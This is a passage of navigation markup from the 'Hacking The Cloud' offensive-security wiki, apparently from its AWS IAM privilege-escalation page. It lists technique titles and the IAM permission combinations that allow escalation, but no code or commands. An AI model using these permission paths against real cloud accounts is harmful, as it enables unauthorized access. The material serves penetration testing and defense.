href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#codestarcreateproject-codestarassociateteammember class=md-nav__link> <span class=md-ellipsis> codestar:CreateProject, codestar:AssociateTeamMember </span> </a> </li> <li class=md-nav__item> <a href=#glueupdatedevendpoint class=md-nav__link> <span class=md-ellipsis> glue:UpdateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iamaddusertogroup class=md-nav__link> <span class=md-ellipsis> iam:AddUserToGroup </span> </a> </li> <li class=md-nav__item> <a href=#iamattachgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamattachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:AttachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateaccesskey class=md-nav__link> <span class=md-ellipsis> iam:CreateAccessKey </span> </a> </li> <li class=md-nav__item> <a href=#iamcreateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:CreateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#iamcreatepolicyversion class=md-nav__link> <span class=md-ellipsis> iam:CreatePolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleterolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamdeleteuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DeleteUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamdetachuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:DetachUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration, </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate class=md-nav__link> <span class=md-ellipsis> iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-cloudformationcreatestack class=md-nav__link> <span class=md-ellipsis> iam:PassRole, cloudformation:CreateStack </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-codestarcreateproject class=md-nav__link> <span class=md-ellipsis> iam:PassRole, codestar:CreateProject </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition class=md-nav__link> <span class=md-ellipsis> iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-ec2runinstances class=md-nav__link> <span class=md-ellipsis> iam:PassRole, ec2:RunInstances </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatedevendpoint class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateDevEndpoint </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-gluecreatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:CreateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-glueupdatejob class=md-nav__link> <span class=md-ellipsis> iam:PassRole, glue:UpdateJob </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdaaddpermission-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:AddPermission, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction </span> </a> </li> <li class=md-nav__item> <a href=#iampassrole-lambdacreatefunction-lambdainvokefunction class=md-nav__link> <span class=md-ellipsis> iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction </span> </a> </li> <li class=md-nav__item> <a href=#iamputgrouppolicy class=md-nav__link> <span class=md-ellipsis> iam:PutGroupPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutRolePermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputrolepolicy class=md-nav__link> <span class=md-ellipsis> iam:PutRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpermissionsboundary class=md-nav__link> <span class=md-ellipsis> iam:PutUserPermissionsBoundary </span> </a> </li> <li class=md-nav__item> <a href=#iamputuserpolicy class=md-nav__link> <span class=md-ellipsis> iam:PutUserPolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamsetdefaultpolicyversion class=md-nav__link> <span class=md-ellipsis> iam:SetDefaultPolicyVersion </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateassumerolepolicy class=md-nav__link> <span class=md-ellipsis> iam:UpdateAssumeRolePolicy </span> </a> </li> <li class=md-nav__item> <a href=#iamupdateloginprofile class=md-nav__link> <span class=md-ellipsis> iam:UpdateLoginProfile </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctioncode class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionCode </span> </a> </li> <li class=md-nav__item> <a href=#lambdaupdatefunctionconfiguration class=md-nav__link> <span class=md-ellipsis> lambda:UpdateFunctionConfiguration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li 